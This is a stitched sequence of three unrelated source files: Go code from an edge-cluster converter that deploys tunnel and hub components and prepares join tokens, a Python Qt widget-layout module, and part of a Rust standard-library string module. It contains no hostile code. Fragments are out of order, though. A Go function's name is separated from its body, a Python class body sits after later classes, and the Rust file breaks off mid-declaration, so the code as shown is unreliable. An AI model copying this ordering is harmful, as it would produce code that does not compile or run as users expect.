klog.Info("Running disable-node-controller jobs to disable node-controller") if err := c.disableNativeNodeLifecycleController(); err != nil { klog.Errorf("failed to disable native node-lifecycle-controller, %v", err) return err } klog.Info("Running node-servant-convert jobs to deploy the yurt-hub and reset the kubelet service on edge and cloud nodes") if err := c.deployYurthub(); err != nil { klog.Errorf("error occurs when deploying Yurthub, %v", err) return err } return nil } func (c *ClusterConverter) labelEdgeNodes() error { nodeLst, err := c.ClientSet.CoreV1().Nodes().List(context.Background(), v1.ListOptions{}) if err != nil { return fmt.Errorf("failed to list nodes, %s", err) } for _, node := range nodeLst.Items { isEdge := strutil.IsInStringLst(c.EdgeNodes, node.Name) if _, err = kubeutil.AddEdgeWorkerLabelAndAutonomyAnnotation( c.ClientSet, &node, strconv.FormatBool(isEdge), "false"); err != nil { return fmt.Errorf("failed to add label to edge node %s, %s", node.Name, err) } } return nil } func (c *ClusterConverter) deployYurtTunnel() error { if err := kubeutil.DeployYurttunnelServer(c.ClientSet, "", c.YurtTunnelServerImage, "amd64"); err != nil { klog.Errorf("failed to deploy yurt-tunnel-server, %s", err) return err } if err := kubeutil.DeployYurttunnelAgent(c.ClientSet, "", c.YurtTunnelAgentImage); err != nil { klog.Errorf("failed to deploy yurt-tunnel-agent, %s", err) return err } return nil } func (c *ClusterConverter) disableNativeNodeLifecycleController() error { kcmNodeNames, err := kubeutil.GetKubeControllerManagerHANodes(c.ClientSet) if err != nil { return err } if err = kubeutil.RunServantJobs(c.ClientSet, c.WaitServantJobTimeout, func(nodeName string) (*batchv1.Job, error) { ctx := map[string]string{ "node_servant_image": c.NodeServantImage, "pod_manifest_path": c.PodManifestPath, } return kubeutil.RenderServantJob("disable", ctx, nodeName) }, kcmNodeNames, os.Stderr); err != nil { return err } return nil } func (c *ClusterConverter) deployYurthub() error { // deploy yurt-hub and reset the kubelet service on edge nodes. joinToken, err := prepareYurthubStart(c.ClientSet, c.KubeConfigPath) if err != nil { return err } convertCtx := map[string]string{ "node_servant_image": c.NodeServantImage, "yurthub_image": c.YurthubImage, "joinToken": joinToken, // The node-servant will detect the kubeadm_conf_path automatically // It will be either "/usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf" // or "/etc/systemd/system/kubelet.service.d/10-kubeadm.conf". "kubeadm_conf_path": "", "working_mode": string(util.WorkingModeEdge), } if c.YurthubHealthCheckTimeout != defaultYurthubHealthCheckTimeout { convertCtx["yurthub_healthcheck_timeout"] = c.YurthubHealthCheckTimeout.String() } if len(c.EdgeNodes) != 0 { convertCtx["working_mode"] = string(util.WorkingModeEdge) if err = kubeutil.RunServantJobs(c.ClientSet, c.WaitServantJobTimeout, func(nodeName string) (*batchv1.Job, error) { return nodeservant.RenderNodeServantJob("convert", convertCtx, nodeName) }, c.EdgeNodes, os.Stderr); err != nil { return err } } // deploy yurt-hub and reset the kubelet service on cloud nodes convertCtx["working_mode"] = string(util.WorkingModeCloud) if err = kubeutil.RunServantJobs(c.ClientSet, c.WaitServantJobTimeout, func(nodeName string) (*batchv1.Job, error) { return nodeservant.RenderNodeServantJob("convert", convertCtx, nodeName) }, c.CloudNodes, os.Stderr); err != nil { return err } klog.Info("If any job fails, you can get job information through 'kubectl get jobs -n kube-system' to debug.\n" + "\tNote that before the next conversion, please delete all related jobs so as not to affect the conversion.") return nil } func
(cliSet *kubernetes.Clientset, kcfg string) (string, error) { // prepare kube-public/cluster-info configmap before convert if err := prepareClusterInfoConfigMap(cliSet, kcfg); err != nil { return "", err } // prepare global settings(like RBAC, configmap) for yurthub if err := kubeutil.DeployYurthubSetting(cliSet); err != nil { return "", err } // prepare join-token for yurthub joinToken, err := kubeutil.GetOrCreateJoinTokenString(cliSet) if err != nil || joinToken == "" { return "", fmt.Errorf("fail to get join token: %v", err) } return joinToken, nil } // prepareClusterInfoConfigMap will create cluster-info configmap in kube-public namespace if it does not exist func prepareClusterInfoConfigMap(client *kubernetes.Clientset, file string) error { info, err := client.CoreV1().ConfigMaps(v1.NamespacePublic).Get(context.Background(), bootstrapapi.ConfigMapClusterInfo, v1.GetOptions{}) if err != nil && apierrors.IsNotFound(err) { // Create the cluster-info ConfigMap with the associated RBAC rules if err := kubeadmapi.CreateBootstrapConfigMapIfNotExists(client, file); err != nil { return fmt.Errorf("error creating bootstrap ConfigMap, %v", err) } if err := kubeadmapi.CreateClusterInfoRBACRules(client); err != nil { return fmt.Errorf("error creating clusterinfo RBAC rules, %v", err) } } else if err != nil || info == nil { return fmt.Errorf("fail to get configmap, %v", err) } else { klog.V(4).Infof("%s/%s configmap already exists, skip to prepare it", info.Namespace, info.Name) } return nil }
prepareYurthubStart
views.py
# # Author : A. Bruneton # from pyqtside.QtGui import QGridLayout, QVBoxLayout, QTabWidget, QWidget, QLabel, QGroupBox from pyqtside.QtCore import Qt def setup4Lay(lay): """ Handy function to setup a 4-cols layout """ lay.setColumnStretch(0, 0) lay.setColumnStretch(1, 10) lay.setColumnStretch(2, 20) lay.setColumnStretch(3, 10) class JigView(object): """ A view holds all the logic necessary to the display of the widgets within a Layout """ def __init__(self, jig_widget): self._widget = jig_widget self._visible = True self._active = True def placeMeIn(self, gridlay, line, compact=False): """ @return the number of rows used """ raise NotImplementedError def setVisibility(self, visible, update_qt=True): """ Set widget visibility. If update_qt is set to False, only the internal state of the widget is changed (this is an advanced usage) """ self._visible = visible def setActive(self, enable): self._active = enable def isActive(self): return self._active def setHighlight(self, highlight): pass def aboutToHighlightChild(self, index): # only for tab views to set the current tab pass def setDescription(self, desc): pass def getLayout(self): return None class JigViewVoid(JigView): def __init__(self, jig_widget): JigView.__init__(self, jig_widget) self._active = False def placeMeIn(self, gridlay, line, compact=False): return 0 def isActive(self): return False class JigViewSW(JigView): """ Single widget view - abstract """ def __init__(self, jig_widget, title, desc): """ jig_widget is a JigComposed """ JigView.__init__(self, jig_widget) self._mainW = None self._title = title self._layout = None self._leaves = jig_widget._leaves self._desc = QLabel(desc) self._invisibleWidgets = [] # Some widgets (notably the reference item in an array) must be attached to the parent QWidget but not shown. def setActive(self, enable): JigView.setActive(self, enable) self._mainW.setEnabled(enable) def setVisibility(self, visible, update_qt=True): JigView.setVisibility(self, visible) if not self._mainW is None and update_qt: if visible: self._mainW.show() self._desc.show() else: self._mainW.hide() self._desc.hide() def addInvisibleWidget(self, w): self._invisibleWidgets.append(w) def pushToView(self, w, compact=False): subRowNb = self._layout.rowCount() return w._view.placeMeIn(self._layout, subRowNb, compact=compact) def popFromView(self): pass def placeMeIn(self, gridlay, rowNumb, compact=False): gridlay.addWidget(self._desc, rowNumb, 1, 1, 4) self.placeLeaves(withSpacer=not compact) gridlay.addWidget(self._mainW, rowNumb+1, 1, 2, 3) # Spanning 2 lines and 3 cols self.placeInvisible(gridlay, rowNumb+1) self.setVisibility(self._visible) return 3 def placeInvisible(self, gridlay, rowNum): for w in self._invisibleWidgets: w._view.placeMeIn(gridlay, rowNum, compact=True) w.setVisibility(False) def placeLeaves(self, withSpacer=True): raise NotImplementedError def setHighlight(self, highlight): if highlight: self._desc.setStyleSheet("QLabel { color : red; }") else: self._desc.setStyleSheet("QLabel { color : black; }") def setDescription(self, desc): self._desc.setText(str(desc)) def getLayout(self): return self._layout class JigViewMW(JigView): """ Multiple widget view - typically used for JigLeafWidget """ def __init__(self, jig_widget): """ jig_widget is a JigLeafWidget """ JigView.__init__(self, jig_widget) self._widgets = jig_widget._widgets def setActive(self, enable): JigView.setActive(self, enable) self._widgets[1].setEnabled(enable) def setVisibility(self, visible, update_qt=True): JigView.setVisibility(self, visible) if update_qt: if visible: self._widgets[0].show() self._widgets[1].show() if len(self._widgets) > 2: self._widgets[2].show() else: self._widgets[0].hide() self._widgets[1].hide() if len(self._widgets) > 2: self._widgets[2].hide() def placeMeIn(self, gridlay, rowNumb, compact=False): gridlay.addWidget(self._widgets[0], rowNumb, 1) gridlay.addWidget(self._widgets[1], rowNumb, 2) if len(self._widgets) > 2: gridlay.addWidget(self._widgets[2], rowNumb, 3) self.setVisibility(self._visible) return 1 def setHighlight(self, highlight): if highlight: self._widgets[0].setStyleSheet("QLabel { color : red; }") self._widgets[1].setFocus(Qt.OtherFocusReason) else: self._widgets[0].setStyleSheet("QLabel { color : black; }") class JigViewBlock(JigViewSW): def __init__(self, jig_widget, title, desc): JigViewSW.__init__(self, jig_widget, title, desc) self._layout = QGridLayout() setup4Lay(self._layout) self._buildMain() self._mainW.setLayout(self._layout) def placeLeaves(self, withSpacer=True): subRowNb = 1 for l in self._leaves: subRowNb += self.pushToView(l, compact=True) # sub-objects are always pushed in compact mode if withSpacer: # Extra spacer at bottom self._layout.setRowStretch(subRowNb+1, 10) def popFromView(self): row = self._layout.rowCount()-2 # take the last spacer into account for col in range(4): it = self._layout.itemAtPosition(row, col) if not it is None: w = it.widget() if not w is None: w.hide() def fixTabOrder(self): """ Ensure correct tab order """ from pyqtside.QtGui import QLineEdit last = None nl, nc = self._layout.rowCount(), self._layout.columnCount() for i in range(nl): for j in range(nc): it = self._layout.itemAtPosition(i, j) if not it is None: itw = it.widget() if isinstance(itw, QLineEdit): if last is not None: QWidget.setTabOrder(last, itw) last = itw class JigViewGroup(JigViewBlock): """ A single widget: a group box (holding itself several child widgets) """ def __init__(self, jig_widget, title, desc): JigViewBlock.__init__(self, jig_widget, title, desc) def _buildMain(self): self._mainW = QGroupBox() class JigViewBlockWidget(JigViewBlock): """ A single widget: a QWidget (holding itself several child widgets) """ def __init__(self, jig_widget, title, desc): JigViewBlock.__init__(self, jig_widget, title, desc) def _buildMain(self): self._mainW = QWidget() def setHighlightArray(self, highlight): """ Highlight all labels in the QWidget """ for c in self._mainW.findChildren(QLabel): if highlight: c.setStyleSheet("QLabel { color : red; }") else: c.setStyleSheet("QLabel { color : black; }") class JigViewRadio(JigViewBlockWidget):
class JigViewTab(JigViewSW): """ A single widget: a tab widget (holding itself several child widgets) """ def __init__(self, jig_widget,title, desc): JigViewSW.__init__(self, jig_widget, title, desc) self._mainW = QWidget() self._tabW = QTabWidget() self._layout = QVBoxLayout() # self._layout.addWidget(QLabel("<b>%s</b>" % title)) # self._layout.addWidget(QLabel(desc)) self._layout.addWidget(self._tabW) self._mainW.setLayout(self._layout) self._sub_lay = [] self._sub_widgets = [] def placeLeaves(self, withSpacer=True): for i, l in enumerate(self._leaves): self.pushToView(l, compact=False) # Extra spacer at bottom - the withSpacer argument is ignored on purpose lay = self._sub_lay[i] lay.setRowStretch(lay.rowCount(), 10) def pushToView(self, jig_widget, compact=False): w, lay = QWidget(), QGridLayout() setup4Lay(lay) self._sub_widgets.append(w) self._sub_lay.append(lay) w.setLayout(lay) self._tabW.addTab(w, jig_widget.getTitle()) jig_widget._view.placeMeIn(lay, 0) def popFromView(self): """ Remove the last added tab """ self._tabW.removeTab(self._tabW.count()-1) def aboutToHighlightChild(self, index): self._tabW.setCurrentIndex(index) class JigViewDynamicCombo(JigViewSW): def __init__(self, jig_widget, title, desc): JigViewSW.__init__(self, jig_widget, title, desc) self._mainW = QWidget() self._layout = QGridLayout() setup4Lay(self._layout) self._layout.addWidget(self._widget._combo, 1,0,1, 3) self._mainW.setLayout(self._layout) def placeLeaves(self, withSpacer=True): maxNbRow = -1 for l in self._leaves: n = l._view.placeMeIn(self._layout, 2) if maxNbRow != -1: l.setVisibility(False) if n > maxNbRow: maxNbRow = n if withSpacer: self._layout.setRowStretch(2+maxNbRow, 10)
def __init__(self, jig_widget, title, desc): JigViewBlockWidget.__init__(self, jig_widget, title, desc) self._radios = jig_widget._radios def placeLeaves(self, withSpacer=True): # Placing leaves first: subRowNb = 1 for i, l in enumerate(self._leaves): inc = self.pushToView(l, compact=True) self._layout.addWidget(self._radios[i], subRowNb, 0, Qt.AlignCenter) subRowNb += inc if withSpacer: # Extra spacer at bottom self._layout.setRowStretch(subRowNb+1, 10)
mod.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! String manipulation //! //! For more details, see std::str #![stable(feature = "rust1", since = "1.0.0")] use self::pattern::Pattern; use self::pattern::{Searcher, ReverseSearcher, DoubleEndedSearcher}; use char::{self, CharExt}; use clone::Clone; use cmp::Eq; use convert::AsRef; use default::Default; use fmt; use iter::ExactSizeIterator; use iter::{Map, Cloned, Iterator, DoubleEndedIterator}; use marker::Sized; use mem; use ops::{Fn, FnMut, FnOnce}; use option::Option::{self, None, Some}; use raw::{Repr, Slice}; use result::Result::{self, Ok, Err}; use slice::{self, SliceExt}; pub mod pattern; /// A trait to abstract the idea of creating a new instance of a type from a /// string. #[stable(feature = "rust1", since = "1.0.0")] pub trait FromStr: Sized { /// The associated error which can be returned from parsing. #[stable(feature = "rust1", since = "1.0.0")] type Err; /// Parses a string `s` to return a value of this type. /// /// If parsing succeeds, return the value inside `Ok`, otherwise /// when the string is ill-formatted return an error specific to the /// inside `Err`. The error type is specific to implementation of the trait. #[stable(feature = "rust1", since = "1.0.0")] fn from_str(s: &str) -> Result<Self, Self::Err>; } #[stable(feature = "rust1", since = "1.0.0")] impl FromStr for bool { type Err = ParseBoolError; /// Parse a `bool` from a string. /// /// Yields a `Result<bool, ParseBoolError>`, because `s` may or may not /// actually be parseable. /// /// # Examples /// /// ``` /// use std::str::FromStr; /// /// assert_eq!(FromStr::from_str("true"), Ok(true)); /// assert_eq!(FromStr::from_str("false"), Ok(false)); /// assert!(<bool as FromStr>::from_str("not even a boolean").is_err()); /// ``` /// /// Note, in many cases, the `.parse()` method on `str` is more proper. /// /// ``` /// assert_eq!("true".parse(), Ok(true)); /// assert_eq!("false".parse(), Ok(false)); /// assert!("not even a boolean".parse::<bool>().is_err()); /// ``` #[inline] fn from_str(s: &str) -> Result<bool, ParseBoolError> { match s { "true" => Ok(true), "false" => Ok(false), _ => Err(ParseBoolError { _priv: () }), } } } /// An error returned when parsing a `bool` from a string fails. #[derive(Debug, Clone, PartialEq)] #[stable(feature = "rust1", since = "1.0.0")] pub struct ParseBoolError { _priv: () } #[stable(feature = "rust1", since = "1.0.0")] impl fmt::Display for ParseBoolError { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { "provided string was not `true` or `false`".fmt(f) } } /* Section: Creating a string */ /// Errors which can occur when attempting to interpret a byte slice as a `str`. #[derive(Copy, Eq, PartialEq, Clone, Debug)] #[stable(feature = "rust1", since = "1.0.0")] pub struct Utf8Error { valid_up_to: usize, } impl Utf8Error { /// Returns the index in the given string up to which valid UTF-8 was /// verified. /// /// Starting at the index provided, but not necessarily at it precisely, an /// invalid UTF-8 encoding sequence was found. #[unstable(feature = "utf8_error", reason = "method just added", issue = "27734")] pub fn valid_up_to(&self) -> usize { self.valid_up_to } } /// Converts a slice of bytes to a string slice without performing any /// allocations. /// /// Once the slice has been validated as UTF-8, it is transmuted in-place and /// returned as a '&str' instead of a '&[u8]' /// /// # Failure /// /// Returns `Err` if the slice is not UTF-8 with a description as to why the /// provided slice is not UTF-8. #[stable(feature = "rust1", since = "1.0.0")] pub fn from_utf8(v: &[u8]) -> Result<&str, Utf8Error> { try!(run_utf8_validation_iterator(&mut v.iter())); Ok(unsafe { from_utf8_unchecked(v) }) } /// Converts a slice of bytes to a string slice without checking /// that the string contains valid UTF-8. #[inline(always)] #[stable(feature = "rust1", since = "1.0.0")] pub unsafe fn from_utf8_unchecked(v: &[u8]) -> &str { mem::transmute(v) } #[stable(feature = "rust1", since = "1.0.0")] impl fmt::Display for Utf8Error { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "invalid utf-8: invalid byte near index {}", self.valid_up_to) } } /* Section: Iterators */ /// Iterator for the char (representing *Unicode Scalar Values*) of a string /// /// Created with the method `.chars()`. #[derive(Clone)] #[stable(feature = "rust1", since = "1.0.0")] pub struct Chars<'a> { iter: slice::Iter<'a, u8> } /// Return the initial codepoint accumulator for the first byte. /// The first byte is special, only want bottom 5 bits for width 2, 4 bits /// for width 3, and 3 bits for width 4. #[inline] fn utf8_first_byte(byte: u8, width: u32) -> u32 { (byte & (0x7F >> width)) as u32 } /// Return the value of `ch` updated with continuation byte `byte`. #[inline] fn utf8_acc_cont_byte(ch: u32, byte: u8) -> u32 { (ch << 6) | (byte & CONT_MASK) as u32 } /// Checks whether the byte is a UTF-8 continuation byte (i.e. starts with the /// bits `10`). #[inline] fn utf8_is_cont_byte(byte: u8) -> bool { (byte & !CONT_MASK) == TAG_CONT_U8 } #[inline] fn unwrap_or_0(opt: Option<&u8>) -> u8 { match opt { Some(&byte) => byte, None => 0, } } /// Reads the next code point out of a byte iterator (assuming a /// UTF-8-like encoding). #[unstable(feature = "str_internals", issue = "0")] #[inline] pub fn next_code_point(bytes: &mut slice::Iter<u8>) -> Option<u32> { // Decode UTF-8 let x = match bytes.next() { None => return None, Some(&next_byte) if next_byte < 128 => return Some(next_byte as u32), Some(&next_byte) => next_byte, }; // Multibyte case follows // Decode from a byte combination out of: [[[x y] z] w] // NOTE: Performance is sensitive to the exact formulation here let init = utf8_first_byte(x, 2); let y = unwrap_or_0(bytes.next()); let mut ch = utf8_acc_cont_byte(init, y); if x >= 0xE0 { // [[x y z] w] case // 5th bit in 0xE0 .. 0xEF is always clear, so `init` is still valid let z = unwrap_or_0(bytes.next()); let y_z = utf8_acc_cont_byte((y & CONT_MASK) as u32, z); ch = init << 12 | y_z; if x >= 0xF0 { // [x y z w] case // use only the lower 3 bits of `init` let w = unwrap_or_0(bytes.next()); ch = (init & 7) << 18 | utf8_acc_cont_byte(y_z, w); } } Some(ch) } /// Reads the last code point out of a byte iterator (assuming a /// UTF-8-like encoding). #[inline] fn next_code_point_reverse(bytes: &mut slice::Iter<u8>) -> Option<u32> { // Decode UTF-8 let w = match bytes.next_back() { None => return None, Some(&next_byte) if next_byte < 128 => return Some(next_byte as u32), Some(&back_byte) => back_byte, }; // Multibyte case follows // Decode from a byte combination out of: [x [y [z w]]] let mut ch; let z = unwrap_or_0(bytes.next_back()); ch = utf8_first_byte(z, 2); if utf8_is_cont_byte(z) { let y = unwrap_or_0(bytes.next_back()); ch = utf8_first_byte(y, 3); if utf8_is_cont_byte(y) { let x = unwrap_or_0(bytes.next_back()); ch = utf8_first_byte(x, 4); ch = utf8_acc_cont_byte(ch, y); } ch = utf8_acc_cont_byte(ch, z); } ch = utf8_acc_cont_byte(ch, w); Some(ch) } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> Iterator for Chars<'a> { type Item = char; #[inline] fn next(&mut self) -> Option<char> { next_code_point(&mut self.iter).map(|ch| { // str invariant says `ch` is a valid Unicode Scalar Value unsafe { char::from_u32_unchecked(ch) } }) } #[inline] fn size_hint(&self) -> (usize, Option<usize>) { let (len, _) = self.iter.size_hint(); // `(len + 3)` can't overflow, because we know that the `slice::Iter` // belongs to a slice in memory which has a maximum length of // `isize::MAX` (that's well below `usize::MAX`). ((len + 3) / 4, Some(len)) } } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> DoubleEndedIterator for Chars<'a> { #[inline] fn next_back(&mut self) -> Option<char> { next_code_point_reverse(&mut self.iter).map(|ch| { // str invariant says `ch` is a valid Unicode Scalar Value unsafe { char::from_u32_unchecked(ch) } }) } } impl<'a> Chars<'a> { /// View the underlying data as a subslice of the original data. /// /// This has the same lifetime as the original slice, and so the /// iterator can continue to be used while this exists. #[unstable(feature = "iter_to_slice", issue = "27775")] #[inline] pub fn as_str(&self) -> &'a str { unsafe { from_utf8_unchecked(self.iter.as_slice()) } } } /// Iterator for a string's characters and their byte offsets. #[derive(Clone)] #[stable(feature = "rust1", since = "1.0.0")] pub struct CharIndices<'a> { front_offset: usize, iter: Chars<'a>, } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> Iterator for CharIndices<'a> { type Item = (usize, char); #[inline] fn next(&mut self) -> Option<(usize, char)> { let (pre_len, _) = self.iter.iter.size_hint(); match self.iter.next() { None => None, Some(ch) => { let index = self.front_offset; let (len, _) = self.iter.iter.size_hint(); self.front_offset += pre_len - len; Some((index, ch)) } } } #[inline] fn size_hint(&self) -> (usize, Option<usize>) { self.iter.size_hint() } } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> DoubleEndedIterator for CharIndices<'a> { #[inline] fn next_back(&mut self) -> Option<(usize, char)> { match self.iter.next_back() { None => None, Some(ch) => { let (len, _) = self.iter.iter.size_hint(); let index = self.front_offset + len; Some((index, ch)) } } } } impl<'a> CharIndices<'a> { /// View the underlying data as a subslice of the original data. /// /// This has the same lifetime as the original slice, and so the /// iterator can continue to be used while this exists. #[unstable(feature = "iter_to_slice", issue = "27775")] #[inline] pub fn as_str(&self) -> &'a str { self.iter.as_str() } } /// External iterator for a string's bytes. /// Use with the `std::iter` module. /// /// Created with the method `.bytes()`. #[stable(feature = "rust1", since = "1.0.0")] #[derive(Clone)] pub struct Bytes<'a>(Cloned<slice::Iter<'a, u8>>); #[stable(feature = "rust1", since = "1.0.0")] impl<'a> Iterator for Bytes<'a> { type Item = u8; #[inline] fn next(&mut self) -> Option<u8> { self.0.next() } #[inline] fn size_hint(&self) -> (usize, Option<usize>) { self.0.size_hint() } #[inline] fn count(self) -> usize { self.0.count() } #[inline] fn last(self) -> Option<Self::Item> { self.0.last() } #[inline] fn nth(&mut self, n: usize) -> Option<Self::Item> { self.0.nth(n) } } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> DoubleEndedIterator for Bytes<'a> { #[inline] fn next_back(&mut self) -> Option<u8> { self.0.next_back() } } #[stable(feature = "rust1", since = "1.0.0")] impl<'a> ExactSizeIterator for Bytes<'a> { #[inline] fn len(&self) -> usize { self.0.len() } } /// This macro generates a Clone impl for string pattern API /// wrapper types of the form X<'a, P> macro_rules! derive_pattern_clone { (clone $t:ident with |$s:ident| $e:expr) => { impl<'a, P: Pattern<'a>> Clone for $t<'a, P> where P::Searcher: Clone { fn clone(&self) -> Self { let $s = self; $e } } } } /// This macro generates two public iterator structs /// wrapping an private internal one that makes use of the `Pattern` API. /// /// For all patterns `P: Pattern<'a>` the following items will be /// generated (generics omitted): /// /// struct $forward_iterator($internal_iterator); /// struct $reverse_iterator($internal_iterator); /// /// impl Iterator for $forward_iterator /// { /* internal ends up calling Searcher::next_match() */ } /// /// impl DoubleEndedIterator for $forward_iterator /// where P::Searcher: DoubleEndedSearcher /// { /* internal ends up calling Searcher::next_match_back() */ } /// /// impl Iterator for $reverse_iterator /// where P::Searcher: ReverseSearcher /// { /* internal ends up calling Searcher::next_match_back() */ } /// /// impl DoubleEndedIterator for $reverse_iterator /// where P::Searcher: DoubleEndedSearcher /// { /* internal ends up calling Searcher::next_match() */ } /// /// The internal one is defined outside the macro, and has almost the same /// semantic as a DoubleEndedIterator by delegating to `pattern::Searcher` and /// `pattern::ReverseSearcher` for both forward and reverse iteration. /// /// "Almost", because a `Searcher` and a `ReverseSearcher` for a given /// `Pattern` might not return the same elements, so actually implementing /// `DoubleEndedIterator` for it would be incorrect. /// (See the docs in `str::pattern` for more details) /// /// However, the internal struct still represents a single ended iterator from /// either end, and depending on pattern is also a valid double ended iterator, /// so the two wrapper structs implement `Iterator` /// and `DoubleEndedIterator` depending on the concrete pattern type, leading /// to the complex impls seen above. macro_rules! generate_pattern_iterators { { // Forward iterator forward: $(#[$forward_iterator_attribute:meta])* struct $forward_iterator:ident; // Reverse iterator reverse: $(#[$reverse_iterator_attribute:meta])* struct $reverse_iterator:ident; // Stability of all generated items stability: $(#[$common_stability_attribute:meta])* // Internal almost-iterator that is being delegated to internal: $internal_iterator:ident yielding ($iterty:ty); // Kind of delgation - either single ended or double ended delegate $($t:tt)* } => { $(#[$forward_iterator_attribute])* $(#[$common_stability_attribute])* pub struct $forward_iterator<'a, P: Pattern<'a>>($internal_iterator<'a, P>); $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> Iterator for $forward_iterator<'a, P> { type Item = $iterty; #[inline] fn next(&mut self) -> Option<$iterty> { self.0.next() } } $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> Clone for $forward_iterator<'a, P> where P::Searcher: Clone { fn clone(&self) -> Self { $forward_iterator(self.0.clone()) } } $(#[$reverse_iterator_attribute])* $(#[$common_stability_attribute])* pub struct $reverse_iterator<'a, P: Pattern<'a>>($internal_iterator<'a, P>); $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> Iterator for $reverse_iterator<'a, P> where P::Searcher: ReverseSearcher<'a> { type Item = $iterty; #[inline] fn next(&mut self) -> Option<$iterty> { self.0.next_back() } } $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> Clone for $reverse_iterator<'a, P> where P::Searcher: Clone { fn clone(&self) -> Self { $reverse_iterator(self.0.clone()) } } generate_pattern_iterators!($($t)* with $(#[$common_stability_attribute])*, $forward_iterator, $reverse_iterator, $iterty); }; { double ended; with $(#[$common_stability_attribute:meta])*, $forward_iterator:ident, $reverse_iterator:ident, $iterty:ty } => { $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> DoubleEndedIterator for $forward_iterator<'a, P> where P::Searcher: DoubleEndedSearcher<'a> { #[inline] fn next_back(&mut self) -> Option<$iterty> { self.0.next_back() } } $(#[$common_stability_attribute])* impl<'a, P: Pattern<'a>> DoubleEndedIterator for $reverse_iterator<'a, P> where P::Searcher: DoubleEndedSearcher<'a> { #[inline] fn next_back(&mut self) -> Option<$iterty> { self.0.next() } } }; { single ended; with $(#[$common_stability_attribute:meta])*, $forward_iterator:ident, $reverse_iterator:ident, $iterty:ty } => {} } derive_pattern_clone!{ clone SplitInternal with |s| SplitInternal { matcher: s.matcher.clone(), ..*s } } struct SplitInternal<'a, P: Pattern<'a>> { start: usize, end: usize, matcher: P::Searcher, allow_trailing_empty: bool, finished: bool, } impl<'a, P: Pattern<'a>> SplitInternal<'a, P> { #[inline] fn get_end(&mut self) -> Option<&'a str> { if !self.finished && (self.allow_trailing_empty || self.end - self.start > 0) { self.finished = true; unsafe { let string = self.matcher.haystack().slice_unchecked(self.start, self.end); Some(string) } } else { None } } #[inline] fn next(&mut self) -> Option<&'a str> { if self.finished { return None } let haystack = self.matcher.haystack(); match self.matcher.next_match() { Some((a, b)) => unsafe { let elt = haystack.slice_unchecked(self.start, a); self.start = b; Some(elt) }, None => self.get_end(), } } #[inline] fn next_back(&mut self) -> Option<&'a str> where P::Searcher: ReverseSearcher<'a> { if self.finished { return None } if !self.allow_trailing_empty { self.allow_trailing_empty = true; match self.next_back() { Some(elt) if !elt.is_empty() => return Some(elt), _ => if self.finished { return None } } } let haystack = self.matcher.haystack(); match self.matcher.next_match_back() { Some((a, b)) => unsafe { let elt = haystack.slice_unchecked(b, self.end); self.end = a; Some(elt) }, None => unsafe { self.finished = true; Some(haystack.slice_unchecked(self.start, self.end)) }, } } } generate_pattern_iterators! { forward: /// Created with the method `.split()`. struct Split; reverse: /// Created with the method `.rsplit()`. struct RSplit; stability: #[stable(feature = "rust1", since = "1.0.0")] internal: SplitInternal yielding (&'a str); delegate double ended; } generate_pattern_iterators! { forward: /// Created with the method `.split_terminator()`. struct SplitTerminator; reverse: /// Created with the method `.rsplit_terminator()`. struct RSplitTerminator; stability: #[stable(feature = "rust1", since = "1.0.0")] internal: SplitInternal yielding (&'a str); delegate double ended; } derive_pattern_clone!{ clone SplitNInternal with |s| SplitNInternal { iter: s.iter.clone(), ..*s } } struct SplitNInternal<'a, P: Pattern<'a>> { iter: SplitInternal<'a, P>, /// The number of splits remaining count: usize, } impl<'a, P: Pattern<'a>> SplitNInternal<'a, P> { #[inline] fn next(&mut self) -> Option<&'a str> { match self.count { 0 => None, 1 => { self.count = 0; self.iter.get_end() } _ => { self.count -= 1; self.iter.next() } } } #[inline] fn next_back(&mut self) -> Option<&'a str> where P::Searcher: ReverseSearcher<'a> { match self.count { 0 => None, 1 => { self.count = 0; self.iter.get_end() } _ => { self.count -= 1; self.iter.next_back() } } } } generate_pattern_iterators! { forward: /// Created with the method `.splitn()`. struct SplitN; reverse: /// Created with the method `.rsplitn()`. struct RSplitN; stability: #[stable(feature = "rust1", since = "1.0.0")] internal: SplitNInternal yielding (&'a str); delegate single ended; } derive_pattern_clone!{ clone MatchIndicesInternal with |s| MatchIndicesInternal(s.0.clone()) } struct MatchIndicesInternal<'a, P: Pattern<'a>>(P::Searcher); impl<'a, P: Pattern<'a>> MatchIndicesInternal<'a, P> { #[inline] fn next(&mut self) -> Option<(usize, usize)> { self.0.next_match() } #[inline] fn next_back(&mut self) -> Option<(usize, usize)> where P::Searcher: ReverseSearcher<'a> { self.0.next_match_back() } } generate_pattern_iterators! { forward: /// Created with the method `.match_indices()`. struct MatchIndices; reverse: /// Created with the method `.rmatch_indices()`. struct RMatchIndices; stability: #[unstable(feature = "str_match_indices", reason = "type may be removed or have its iterator impl changed", issue = "27743")] internal: MatchIndicesInternal yielding ((usize, usize)); delegate double ended; } derive_pattern_clone!{ clone MatchesInternal with |s| MatchesInternal(s.0.clone()) } struct MatchesInternal<'a, P: Pattern<'a>>(P::Searcher); impl<'a, P: Pattern<'a>> MatchesInternal<'a, P> { #[inline] fn next(&mut self) -> Option<&'a str> { self.0.next_match().map(|(a, b)| unsafe { // Indices are known to be on utf8 boundaries self.0.haystack().slice_unchecked(a, b) }) } #[inline] fn next_back(&mut self) -> Option<&'a str> where P::Searcher: ReverseSearcher<'a> { self.0.next_match_back().map(|(a, b)| unsafe { // Indices are known to be on utf8 boundaries self.0.haystack().slice_unchecked(a, b) }) } } generate_pattern_iterators! { forward: /// Created with the method `.matches()`. struct Matches; reverse: /// Created with the method 